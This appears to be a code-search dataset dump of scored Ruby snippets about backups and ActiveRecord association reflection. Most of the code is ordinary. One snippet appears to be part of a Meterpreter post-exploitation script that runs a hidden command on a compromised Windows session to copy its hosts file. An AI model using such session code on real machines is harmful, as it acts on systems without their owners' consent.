\"API called: VnfsApi#bms_backup_restore\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "fa2226f21444a45c4e2c394aaeb92285", "score": "0.5777111", "text": "def create_backup(d_b_instance_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateBackup'\n\t\targs[:query]['DBInstanceId'] = d_b_instance_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :backup_method\n\t\t\targs[:query]['BackupMethod'] = optional[:backup_method]\n\t\tend\n\t\tif optional.key? :backup_type\n\t\t\targs[:query]['BackupType'] = optional[:backup_type]\n\t\tend\n\t\tif optional.key? :d_b_name\n\t\t\targs[:query]['DBName'] = optional[:d_b_name]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "title": "" }, { "docid": "91229b6080132cb76962a98b87c634f3", "score": "0.5720981", "text": "def get_backup(to_gzip = false)\n gzip_str = to_gzip ? '| gzip' : ''\n begin\n f = Tempfile.new(host, '/tmp')\n f.write(\"[client]\\npassword=#{password}\")\n f.close\n safe_run \"mysqldump \" \\\n \"--defaults-file=#{f.path} \" \\\n \"--host=#{host} \" \\\n \"--user=#{user} \" \\\n \"--all-databases \" \\\n \"--ignore-table=mysql.slow_log_backup \" \\\n \"--ignore-table=mysql.slow_log \" \\\n \"--single-transaction \" \\\n \"#{gzip_str} > #{local_path}\"\n ensure\n f.unlink\n end\n local_path\n end", "title": "" }, { "docid": "0959bbe500246a3b24f5fb593c146029", "score": "0.57201874", "text": "def new\n @backup_file = BackupFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backup_file }\n end\n end", "title": "" }, { "docid": "0fb6b192779287e10e4ff0ea579c55a8", "score": "0.5712993", "text": "def bms_backup_get_with_http_info(backupuuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnfsApi.bms_backup_get ...'\n end\n # verify the required parameter 'backupuuid' is set\n if @api_client.config.client_side_validation && backupuuid.nil?\n fail ArgumentError, \"Missing the required parameter 'backupuuid' when calling VnfsApi.bms_backup_get\"\n end\n # resource path\n local_var_path = '/bms/1.0.0/backup/{backupuuid}'.sub('{' + 'backupuuid' + '}', backupuuid.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Backup')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnfsApi#bms_backup_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ed56549d516c4f8e44d1796774f99ffc", "score": "0.5711465", "text": "def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend", "title": "" }, { "docid": "9861619b673e840c353e688c7a4d3ba4", "score": "0.56843317", "text": "def dump(path, backup_id)\n raise NotImplementedError\n end", "title": "" }, { "docid": "05dc288258b7acac44e0f32ca2cb0291", "score": "0.5681044", "text": "def backuphosts(session,hosts)\n\trandom = sprintf(\"%.5d\",rand(100000))\n\tprint_status(\"Making Backup of the hosts file.\")\n\tsession.sys.process.execute(\"cmd /c copy #{hosts} #{hosts}#{random}.back\",nil, {'Hidden' => true})\n\tprint_status(\"Backup loacated in #{hosts}#{random}.back\")\nend", "title": "" }, { "docid": "19215d296731ca9d2cbe33ba30b7cb03", "score": "0.56774133", "text": "def backup_dir\n @backup_dir ||= create_backup_dir\n end", "title": "" }, { "docid": "1850a3a40fb2e2bf521789d5776cb108", "score": "0.5675211", "text": "def backup_file(uploaded_file)\n uploaded_file(uploaded_file.to_json) do |file|\n file.data[\"storage\"] = backup_storage.to_s\n end\n end", "title": "" }, { "docid": "00fc9de74879aa9fa6b3e50647be93df", "score": "0.5668381", "text": "def request_backup(db)\r\n\t\tdb.execute(\"SELECT * FROM playgroups WHERE kids>=5\")\r\n\t\tputs \"We'll need backup!!!\"\r\n\tend", "title": "" }, { "docid": "aa0438157d8710d85dfcb950ba8d302d", "score": "0.5657681", "text": "def backup_data(src_file)\n backup_path = src_file + '.simplib_migration.bak.' + Time.now.strftime('%Y_%m_%d_%s')\n puts %Q(Making backup at #{backup_path})\n FileUtils.cp_r(src_file, backup_path)\nend", "title": "" }, { "docid": "3044897fd5ce01b36b425a73b8aae70b", "score": "0.56541455", "text": "def before_backup\n end", "title": "" }, { "docid": "f023c09fc7860689ed813a1c0e3274b1", "score": "0.5650457", "text": "def backup_template( template )\n filename = \"./templates/#{template['id']}.json\"\n file = File.new(filename, \"w\")\n puts \"Backing up #{filename} ...\"\n file.write( template )\n file.close\n end", "title": "" }, { "docid": "e1603318905f054a11585cdf6a4a56d2", "score": "0.5636361", "text": "def backup\n run_command 'pgbackups:capture', %W(--expire #{database})\n end", "title": "" }, { "docid": "d51162695ba5edbdb4c3bcb7a2fa5204", "score": "0.56350297", "text": "def base_path\n Settings.form526_backup.url\n end", "title": "" }, { "docid": "c4f329af9fb63a5bf3f9b9c2eb0b6423", "score": "0.5633832", "text": "def backup\n ModelHelper::backup self\n end", "title": "" }, { "docid": "cdb0479895c82e5a63de9ef32f7f1eb9", "score": "0.56329006", "text": "def create_backup_with_data\n @test_backup = @instance.backup @backup_id\n\n return @test_backup if @test_backup\n\n database = create_singers_albums_database\n\n capture do\n write_using_dml project_id: @project_id,\n instance_id: @instance.instance_id,\n database_id: database.database_id\n end\n\n client = @spanner.client @instance.instance_id, database.database_id\n version_time = client.execute(\"SELECT CURRENT_TIMESTAMP() as timestamp\").rows.first[:timestamp]\n\n capture do\n create_backup project_id: @project_id,\n instance_id: @instance.instance_id,\n database_id: database.database_id,\n backup_id: @backup_id,\n version_time: version_time\n\n @test_backup = @instance.backup @backup_id\n end\n\n @test_backup\n end", "title": "" }, { "docid": "fcfb13ab56c39cbd546edccf1ce79dbe", "score": "0.56209254", "text": "def dump(backup_file_name)\n @mysqlcmds ||= ::Rds::S3::Backup::MySqlCmds.new(backup_server.endpoint['Address'],\n @opts['mysql_username'],\n @opts['mysql_password'],\n @opts['mysql_database'])\n\n\n\n\n @mysqlcmds.dump(backup_file_path(backup_file_name)) # returns the dump file path\n end", "title": "" }, { "docid": "eb1c68a5a83c83dcc092e115797662da", "score": "0.56092817", "text": "def transfer!\n backup = connection.backups.create\n Logger.info \"Created backup [#{backup.id}]\"\n\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n metadata = {}\n\n [:sha512sum, :sha1sum, :cksum].each do |cmd|\n if !`which #{cmd}`.empty?\n metadata[cmd] = %x|#{cmd} #{src}|.split.first\n break\n end\n end\n\n metadata[:size] = %x|ls -sh #{src}|.split.first\n\n backup_file = backup.files.create(filename: src, metadata: metadata)\n Logger.info \"Created backup file [#{backup_file.id}]\"\n\n Logger.info \"EngineYard performing upload of '#{File.join(src)}' to '#{backup_file.upload_url}' with metadata '#{metadata.inspect}'.\"\n\n backup_file.upload(file: src)\n end\n Logger.info \"Finished uploading files for backup [#{backup.id}]\"\n\n backup.finish!\n\n Logger.info \"Finished backup [#{backup.id}]\"\n end", "title": "" }, { "docid": "8c505d0dc4dbb48a922b31d9b089981c", "score": "0.5586334", "text": "def backups\n if args.count == 0\n list_backups\n else\n command = shift_argument\n case command\n when 'list' then list_backups\n when 'info' then backup_status\n when 'capture' then capture_backup\n when 'restore' then restore_backup\n when 'public-url' then public_url\n when 'cancel' then cancel_backup\n when 'delete' then delete_backup\n when 'schedule' then schedule_backups\n when 'unschedule' then unschedule_backups\n when 'schedules' then list_schedules\n else abort \"Unknown pg:backups command: #{command}\"\n end\n end\n end", "title": "" }, { "docid": "539ebd043afdca72cb361223f4733a5b", "score": "0.55611163", "text": "def backup_params\n params.require(:backup).permit(:id, :notes, :client_id, :signup_date, :renewal_date, :assigned_to_id, :backup_account, :backup_size, \n :size_used, :used_percent, :alerts, :devices, :rim_client, :service_type_id, :service_list_id, :client_first_name, \n :client_last_name, :client_full_name, :status_id, :it_service_id, :qty, :price, :total_price, :service_date, :next_service_date,\n :contact_date1, :contact_date2, :contact_date3, :contact_done1, :contact_done2, :contact_done3, :rim_computer,\n :rim_service, :rim_email, :rim_phone, :rim_client, :primary_backup, :secondary_backup, :todo_list_id, :todo_list_complete, :residential, :business, :user_name,\n :password,\n todo_lists_attributes: [:id, :name, :complete, :_destroy ], tasks_attributes: [:id, :done, :description, :_destroy ],\n backup_pcs_attributes: [:id, :notes, :active, :name, :external_hd, :serial, :backup_id, :labtech_computer_id, :labtech_client_id, :client_id, :labtech_computer_id, :service_list_id, :contract_service_id],\n clients_attributes: [:client_id, :company, :first_name, :last_name, :full_name ] )\n end", "title": "" }, { "docid": "d7913ef3da9ce06601bb2106bb17bf6b", "score": "0.55485207", "text": "def set_backup\n current_user.backup = Farmer.find_by_id(params[:id]).email\n current_user.save\n redirect_to current_user\n end", "title": "" }, { "docid": "158811183f71b12f400d0f8bca9f01d5", "score": "0.554758", "text": "def backup_od\n begin\n \tputs \"Be sure to note this for later use.\\nPlease type a password for the OD backup:\"\n \t system \"stty -echo\"\n \t @pass = $stdin.gets.chomp\n \t system \"stty echo\"\n \trescue NoMethodError, Interrupt\n \t system \"stty echo\"\n end\n mkpassdb = \"/usr/sbin/mkpassdb\"\n tmpfile = \"/tmp/sacommands\"\n commands=[\"dirserv:backupArchiveParams:archivePassword = #{@pass}\", \"dirserv:backupArchiveParams:archivePath = #{@dest}/odbackup-#{@date}\", \"dirserv:command = backupArchive\"]\n sacommands = File.open(\"#{tmpfile}\", \"w\") do |f|\n f.puts commands.each {|command| command}\n end\n system \"/usr/sbin/serveradmin command < #{tmpfile}\"\n system \"#{mkpassdb} -backupdb #{@dest}/mkpassdb-#{@date}\"\n FileUtils.rm(tmpfile)\nend", "title": "" }, { "docid": "e66e1ac3e0b42813fbe1389872f04138", "score": "0.5533244", "text": "def action_compress\n # Check if the file to back up already exists\n if ::File.exists?(current_resource.name)\n\n # If the backup file exists, calculate its age\n if ::File.exists?(current_resource.backup_file)\n backup_file_age_hours = (Time.now -\n ::File.mtime(current_resource.backup_file))/60/60\n end\n\n # If the backup file is over 24 hours old (which also means \n # that it exists)\n if !::File.exists?(current_resource.backup_file) ||\n backup_file_age_hours > 24\n\n # Check if the number of backups we want to keep is > 0\n # before trying to rotate\n if @current_resource.num_backups < 0\n # Wrap changing logic in converge_by so it works in why-run mode\n converge_by(\"Rotate backup files \"+\n \"(retaining maximum #{@current_resource.num_backups})\") do\n # Rotate existing backup files\n (@current_resource.num_backups - 1).downto(1).each do |f|\n if ::File.exists?(\"#{current_resource.backup_file}-#{f}\")\n ::FileUtils.mv(\"#{current_resource.backup_file}-#{f}\",\n \"#{current_resource.backup_file}-#{f+1}\")\n end\n if ::File.exists?(current_resource.backup_file)\n # Rotate current backup file\n ::FileUtils.mv(current_resource.backup_file,\n \"#{current_resource.backup_file}-1\")\n end\n end\n end\n end\n\n # Wrap changing logic in converge_by so it works in why-run mode\n converge_by(\"Create backup file #{ new_resource.backup_file }\") do\n # Compress the specified file with the specified name\n Chef::Log.info(\"Compressing #{new_resource.name}...\")\n Zlib::GzipWriter.open(new_resource.backup_file) do |gz|\n gz.write IO.binread(new_resource.name)\n end\n end\n\n # Indicate to Chef that we updated new_resource because we \n # changed the node\n new_resource.updated_by_last_action(true)\n else\n Chef::Log.warn(\"Backup file #{new_resource.backup_file} is only \" +\n \" #{backup_file_age_hours.round(2)} hours old.\n (Action will be skipped).\")\n end\n else\n Chef::Log.warn(\"Can't find #{new_resource.name} to back up. \" +\n \" (Action will be skipped).\")\n end\n end", "title": "" }, { "docid": "ae64e0a65f98928c817104abf8f4bc23", "score": "0.5527415", "text": "def show\n @backup = Backup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @backup }\n end\n end", "title": "" }, { "docid": "6d2fa8c2ebbcfc70346fa503c91fee03", "score": "0.55248165", "text": "def update\n respond_to do |format|\n if @backup.update(backup_params)\n format.html { redirect_to @backup, notice: 'Backup was successfully updated.' }\n format.json { render :show, status: :ok, location: @backup }\n else\n format.html { render :edit }\n format.json { render json: @backup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58866f7ff3fe425790ad1672bd720a99", "score": "0.5519387", "text": "def get_backups(site_id, datum = nil)\n current_path = \"/api/v1/sites/#{site_id}/backups\"\n pb = SFRest::Pathbuilder.new\n @conn.get URI.parse(pb.build_url_query(current_path, datum)).to_s\n end", "title": "" }, { "docid": "7943b7260054cb2aab0c6b82214084e9", "score": "0.55040085", "text": "def make_mysql_backup\n if @all_databases\n options = {\n :name => \"--all-databases\",\n :dump_options => \"\",\n :append_name => \"\"\n }\n file_name = mysqldump(options)\n compress_file(file_name)\n end\n if @databases && !@databases.empty?\n @databases.each do |db|\n options = {\n :name => db[:name].to_s,\n :dump_options => db[:dump_options].to_s,\n :append_name => db[:append_name].to_s\n }\n file_name = mysqldump(options)\n compress_file(file_name)\n end\n end\nend", "title": "" }, { "docid": "97949f3691174e75201c8410bfb1007b", "score": "0.5503879", "text": "def after_copy_backup\n return :success\n end", "title": "" }, { "docid": "77e125b6dab37750e65c64e5870e6ce4", "score": "0.5491929", "text": "def backup account\n backup_file File.join(@ssh_home, @ssh_id), File.join(@ssh_home, account + \".identity\")\n backup_file File.join(@ssh_home, @ssh_id + \".pub\"), File.join(@ssh_home, account + \".identity.pub\")\n @shell.say \"SSH identity backed up to account: #{account}.\"\n end", "title": "" }, { "docid": "21c27b25261cc405277f9b3fe11a5756", "score": "0.5488964", "text": "def create_backdat_file\n puts \"Creating backdat file\"\n end", "title": "" }, { "docid": "38d02993d8dcd0fc59af02a8637c719c", "score": "0.54834443", "text": "def backup(from: nil, to: nil)\n\n if @debug then\n puts 'ready to perform backup' \n puts \"from: %s to: %s\" % [from, to]\n end\n \n instructions = \"rsync -akL -e ssh %s %s\" % [from, to]\n\n puts 'instructions: ' + instructions if @debug \n \n # note: compression is not enabled since this is aimed at \n # single board computers which have limited CPU capability\n\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts 'r: ' + r.inspect if @debug\n \n # since it's running in the background, an empty string will be returned\n \n end", "title": "" }, { "docid": "cbb65f291e65a7a2eaaf711af0ef18a5", "score": "0.5479302", "text": "def backup\n return false if !@file || !backup_file\n FileUtils.cp @file, backup_file if File.file? @file\n true\n end", "title": "" }, { "docid": "c91b995a709ffc616e3688b6ec7e1840", "score": "0.5478143", "text": "def backup\n inexistent_files = check_for_inexistent_files\n unless inexistent_files.empty?\n STDERR.puts \"Cannot backup inexistent files\"\n STDERR.puts inexistent_files.join(\" \")\n exit 1\n end\n\n FileUtils.mkdir_p @backup_folder unless File.exists? @backup_folder\n\n if @no_compress \n copy_files \n delete_uncompressed_backups\n else\n compress_files_and_copy\n delete_compressed_backups\n end\n\n end", "title": "" }, { "docid": "d2b0b2039ca1572d8dbf2eab1c964ab7", "score": "0.54701495", "text": "def snapshot\n begin\n response = resource[\"/snapshot/#{app}\"].post(nil)\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "title": "" }, { "docid": "fbecc712df3b6f1b59b3aa04d2f1690c", "score": "0.54676133", "text": "def file\n Backup::Model.file\n end", "title": "" }, { "docid": "36448628bf5c89e956cdb99821c544fd", "score": "0.54651535", "text": "def index\n #@backups = Backup.all\n @backups = current_user.backups\n end", "title": "" }, { "docid": "a444e1395defdd59c5b2c950d5f7e5b8", "score": "0.54593146", "text": "def backup_config(name,format='binary')\n @log.info(\"Backup MikroTik configuration\")\n if format == 'binary'\n send_command(\"/system backup save name=#{name}\")\n elsif format == 'script'\n send_command(\"/export file=#{name}\")\n end\n @ssh_connect.close\n end", "title": "" } ]
0f39b709562405aa597376d22b77c69a
Returns the AssociationReflection object for the +association+ (use the symbol). Account.reflect_on_association(:owner) returns the owner AssociationReflection Invoice.reflect_on_association(:line_items).macro returns :has_many
[ { "docid": "7c6748e0f7c92058d391461a0d50df3d", "score": "0.77660865", "text": "def reflect_on_association(association)\n reflection = reflections[association]\n reflection if reflection.is_a?(AssociationReflection)\n end", "title": "" } ]
[ { "docid": "7aed59ea3df08e3d9661189212864ff3", "score": "0.7682809", "text": "def _reflect_on_association(association)\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n unless val\n # When a has_many is paired with a has_and_belongs_to_many the assocation will have a plural name\n association = association.to_s.pluralize.to_sym\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end\n val\n end", "title": "" }, { "docid": "691f249e723aa861c15302e9e9fa269e", "score": "0.7504292", "text": "def reflect_on_association(association)\n reflections[association.to_s]\n end", "title": "" }, { "docid": "691f249e723aa861c15302e9e9fa269e", "score": "0.7504292", "text": "def reflect_on_association(association)\n reflections[association.to_s]\n end", "title": "" }, { "docid": "691f249e723aa861c15302e9e9fa269e", "score": "0.7504292", "text": "def reflect_on_association(association)\n reflections[association.to_s]\n end", "title": "" }, { "docid": "4173f6ba5a6adf77c1c469c135fc1511", "score": "0.74773496", "text": "def reflect_on_association(association)\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n unless val\n # When a has_many is paired with a has_and_belongs_to_many the assocation will have a plural name\n association = association.to_s.pluralize.to_sym\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end\n val\n end", "title": "" }, { "docid": "e4f6fc10a9fb0a99c8d6403c468d5177", "score": "0.73787326", "text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end", "title": "" }, { "docid": "e4f6fc10a9fb0a99c8d6403c468d5177", "score": "0.73787326", "text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end", "title": "" }, { "docid": "e4f6fc10a9fb0a99c8d6403c468d5177", "score": "0.73787326", "text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end", "title": "" }, { "docid": "132a789b64ee091953ab539c31ecec56", "score": "0.72083354", "text": "def reflect_on_association(association)\n reflection = reflections[association]\n reflection if reflection.is_a?(DummyAssociationReflection)\n end", "title": "" }, { "docid": "fc48ec49a0378825a7bf40d6d1f32de1", "score": "0.6947457", "text": "def reflect_on_association(association)\n _reflect_on_association(association)\n end", "title": "" }, { "docid": "2b6ba6ce5e2e894a9b6e30b11701aad4", "score": "0.68817353", "text": "def container_reflection\n @container_reflection ||= @owner.class._reflect_on_association(@reflection.options[:through])\n end", "title": "" }, { "docid": "bfd56e44f80710efc21de2a48ae38c14", "score": "0.68136835", "text": "def reflect_on_association(name)\n self.class.reflect_on_association(name)\n end", "title": "" }, { "docid": "4e37885b6a6ba82f972cfeb1d9bdbbb5", "score": "0.67666584", "text": "def reflect_on_association(association)\n Isomorphic::Lens::Association.new(factory, inflector, association, nil)\n end", "title": "" }, { "docid": "c3b4bc5bb18d3090a86921cd0e21f088", "score": "0.66081357", "text": "def reflect_on_association(name)\n association = associations[name]\n association ? association.macro : nil\n end", "title": "" }, { "docid": "57b703b74c78c7a71017ff515b0bc6b4", "score": "0.6597858", "text": "def association_reflection(name)\n association_reflections[name]\n end", "title": "" }, { "docid": "57b703b74c78c7a71017ff515b0bc6b4", "score": "0.6597858", "text": "def association_reflection(name)\n association_reflections[name]\n end", "title": "" }, { "docid": "57b703b74c78c7a71017ff515b0bc6b4", "score": "0.6597858", "text": "def association_reflection(name)\n association_reflections[name]\n end", "title": "" }, { "docid": "b30094948a9c3b9818809a8680131c4a", "score": "0.655713", "text": "def reflect_on_association(name)\n association = associations[name.to_s]\n association ? association.macro : nil\n end", "title": "" }, { "docid": "7f114f29118ea4c6b11ba6424a16457b", "score": "0.65466684", "text": "def through_reflection\n active_record._reflect_on_association(options[:through])\n end", "title": "" }, { "docid": "7f114f29118ea4c6b11ba6424a16457b", "score": "0.65466684", "text": "def through_reflection\n active_record._reflect_on_association(options[:through])\n end", "title": "" }, { "docid": "ae077b274e94bba12b0ce3f86f5ccf8b", "score": "0.65341455", "text": "def scaffold_association(association)\n association_reflection(association)\n end", "title": "" }, { "docid": "95f40f93770ba1c0ea87d5aa6c44a438", "score": "0.6528656", "text": "def reflect_on_association(association); end", "title": "" }, { "docid": "258c8315fdcade9bdc62b7f938e7dc64", "score": "0.64293784", "text": "def reflect_on_association(name)\n if orm_association = klass.reflect_on_association(name)\n self.class.const_get(:Association).new(orm_association,self)\n end\n end", "title": "" }, { "docid": "3cc9e08cabbc248eca38437488ac77a8", "score": "0.63716763", "text": "def collect_reflections(association_names)\n klass = self\n association_names.each_with_object([]) do |name, ret|\n reflection = klass.reflect_on_association(name)\n if reflection.nil?\n if klass.reflection_with_virtual(name)\n break(ret)\n else\n break\n end\n end\n klass = reflection.klass\n ret << reflection\n end\n end", "title": "" }, { "docid": "9bd407a22a6c4620937fda8941188a8c", "score": "0.6354199", "text": "def container_association_proxy\n @owner.send(@reflection.options[:through])\n end", "title": "" }, { "docid": "80c09d877f121410ede0086c1e0b7a5b", "score": "0.6342122", "text": "def through_reflection\n @through_reflection ||= active_record.reflect_on_association(options[:through])\n end", "title": "" }, { "docid": "308c4da0cd7f464b28eefce5ca4f01c7", "score": "0.632511", "text": "def reflect_on_association(association)\n append do\n self.class.new(factory, inflector, association, nil)\n end\n end", "title": "" }, { "docid": "e0b20fddd944c8c856940bd5992acc23", "score": "0.63192064", "text": "def _reflect_on_association(name)\n if name == :ingredient_association && !in?(@_classes_with_ingredient_association)\n OpenStruct.new(association_class: Alchemy::IngredientAssociation)\n else\n super\n end\n end", "title": "" }, { "docid": "9a7535215828d3ecd46eab3ffd50aa40", "score": "0.6289491", "text": "def through_reflection\n @through_reflection ||= begin\n common_query.assigned_to_klass.reflections[through_association]\n end\n end", "title": "" }, { "docid": "2d3d2459af6475f2c62b658cdb035b06", "score": "0.62320244", "text": "def reflection_for(method)\n if self.class.respond_to?(:reflect_on_association)\n self.class.reflect_on_association(method)\n elsif self.class.respond_to?(:associations) # MongoMapper uses the 'associations(method)' instead\n self.class.associations[method]\n end\n end", "title": "" }, { "docid": "73eb5dbbb64352f921b4d896ee2a0889", "score": "0.6078144", "text": "def load_indirect_reflection(intermediate_model, indirect_association_name)\n indirect_reflection =\n intermediate_model.reflect_on_association(ActiveSupport::Inflector.singularize(indirect_association_name))\n\n if indirect_reflection.nil?\n raise InvalidAssociation.new(\n \"Indirect association '#{@indirect_association_name}' not found in \"\\\n \"intermediate model '#{intermediate_model.name}'\")\n end\n\n unless direct_reflection.macro == :has_many\n raise InvalidAssociation.new('Through associations must be `has_many`')\n end\n\n indirect_reflection\n end", "title": "" }, { "docid": "6115f0edcc78742b7cc4ef8512eeebcc", "score": "0.6063487", "text": "def source_reflection\n through_reflection.klass._reflect_on_association(source_reflection_name)\n end", "title": "" }, { "docid": "6115f0edcc78742b7cc4ef8512eeebcc", "score": "0.6063487", "text": "def source_reflection\n through_reflection.klass._reflect_on_association(source_reflection_name)\n end", "title": "" }, { "docid": "7d14de606db0c95653bd4f2776aff1e5", "score": "0.6049704", "text": "def get_association_reflection(field)\n @association_reflections ||= {}\n @association_reflections[field] ||= resource_class.reflect_on_association(resource_attribute_name(field).to_sym)\n end", "title": "" }, { "docid": "7369c2c6f680edaa98de824b733217a3", "score": "0.60415286", "text": "def association_reflections\n @association_reflections ||= {}\n end", "title": "" }, { "docid": "7369c2c6f680edaa98de824b733217a3", "score": "0.60415286", "text": "def association_reflections\n @association_reflections ||= {}\n end", "title": "" }, { "docid": "c82fc69aaffa66d8c1668e0e8fb6fac5", "score": "0.60274863", "text": "def find_association(model)\n association = nil\n self.class.reflections.each {|k,v| association = k if v.class_name == model}\n association\n end", "title": "" }, { "docid": "1da2dc32628fadb43cdd174c6af3bed6", "score": "0.6020386", "text": "def association_metadata(reflection)\n case reflection\n when ActiveRecord::Reflection::HasAndBelongsToManyReflection\n AssociationMetadata.new(\n reflection.join_table,\n reflection.foreign_key,\n reflection.association_foreign_key\n )\n when ActiveRecord::Reflection::ThroughReflection\n AssociationMetadata.new(\n reflection.through_reflection.table_name,\n reflection.through_reflection.foreign_key,\n reflection.association_foreign_key\n )\n else\n raise ArgumentError, \"Association '#{reflection.name}' is not a supported type\"\n end\n end", "title": "" }, { "docid": "e87f1b7c9aa6af35c9ba202f16423598", "score": "0.6009303", "text": "def scaffold_associated_class(association)\n association_reflection(association).associated_class\n end", "title": "" }, { "docid": "9e67f6912e1d8ee99c64bc53b21e5bf3", "score": "0.5996051", "text": "def create_belongs_to_reflection(association_id, options)\n options.assert_valid_keys(\n :class_name, :foreign_key, :foreign_type, :remote, :select, :conditions, \n :include, :dependent, :counter_cache, :extend, :polymorphic, :readonly, :validate\n )\n\n reflection = create_reflection(:belongs_to, association_id, options, self)\n\n if options[:polymorphic]\n reflection.options[:foreign_type] ||= reflection.class_name.underscore + \"_type\"\n end\n\n reflection\n end", "title": "" }, { "docid": "ee4fb3535c05be9d3c18575de6404dae", "score": "0.59797704", "text": "def assert_association(model, association, association_type)\n assert_includes model.reflections, association.to_s\n\n assert_equal association_type, model.reflections[association.to_s].macro\n end", "title": "" }, { "docid": "4abb23b1aa818393d82273de93d00b79", "score": "0.59669644", "text": "def belongs_to_association\n if resource_class.respond_to?(:reflect_on_association)\n # assumes the belongs_to association uses <name>_id\n reflection = resource_class.reflect_on_association(field_name.gsub(/_id$/, '').to_sym)\n if reflection && reflection.macro.eql?(:belongs_to)\n return reflection\n end\n end\n end", "title": "" }, { "docid": "017d690ac76cc56d5095a49d675c183b", "score": "0.59530157", "text": "def cti_reciprocal_association_for(association, type, class_name = nil)\n class_name ||= self.name\n remote_class = cti_association_name_to_class_name( association, class_name ).constantize\n remote_associations = remote_class.reflect_on_all_associations( type ).select { |a| a.class_name == class_name }\n remote_associations.first\n end", "title": "" }, { "docid": "31110ab759b86d049e55e756e3ad3f31", "score": "0.59205484", "text": "def reflect_on_association(name)\n ActiveRecordAssociationAdapter.for_association(associations[name]) if associations[name]\n end", "title": "" }, { "docid": "f0234ec18eca7ecc59157d8878613294", "score": "0.5908095", "text": "def association(obj, attr, macro = nil)\n if obj.class.respond_to?(:reflect_on_association)\n name = attr.to_s =~ /_id$/ ? attr.to_s[0..-4].to_sym : attr\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macro.nil? || assoc.macro == macro)\n end\n end", "title": "" }, { "docid": "a8a2a78f9a4616687d5d62855224d565", "score": "0.59053046", "text": "def create_reflection(macro, name, options, active_record)\n\t case macro\n\t when :has_one_custom, :has_many_custom\n\t reflection = CustomAssociations::Reflection.new(macro, name, options, active_record)\n\t self.reflections = self.reflections.merge(name => reflection)\n\t reflection\n\t else\n\t super\n\t end\n\t end", "title": "" }, { "docid": "648286d1cfb3b8ac9acc40fc8985dcc9", "score": "0.59015757", "text": "def rubyamf_retrieve_association association\n # Naive implementation that should work for most cases without\n # need for overriding\n send(association)\n end", "title": "" }, { "docid": "edbb9ce4aedecf03d2ed8d56c1096596", "score": "0.5898904", "text": "def get_object_through_has_one_association(owner, reflection)\n #TODO cached\n \n association = get_associations_for_object(owner, reflection)[0]\n \n return [] if association.nil?\n \n if association.first_type.to_s == owner.class.to_s \n [association.second_type.constantize.find(association.second_id)]\n else\n [association.first_type.constantize.find(association.first_id)]\n end\n end", "title": "" }, { "docid": "da4c0f0c6aa939e826b5acb134faa9e6", "score": "0.58915603", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.dup\n association_reflections.select! { |_k, reflection| reflection.macro == macro } if macro\n association_reflections\n end", "title": "" }, { "docid": "4ba91c138630bf7310830cbe722d7d8a", "score": "0.5891014", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n association_reflections.select! { |reflection| reflection.macro == macro } if macro\n association_reflections\n end", "title": "" }, { "docid": "4ba91c138630bf7310830cbe722d7d8a", "score": "0.5891014", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n association_reflections.select! { |reflection| reflection.macro == macro } if macro\n association_reflections\n end", "title": "" }, { "docid": "34f73b7752592c22d39d29025af3c47e", "score": "0.5886037", "text": "def scaffold_association(association)\n reflect_on_association(association)\n end", "title": "" }, { "docid": "64718e4530a3ea32b2ddd65c203d3518", "score": 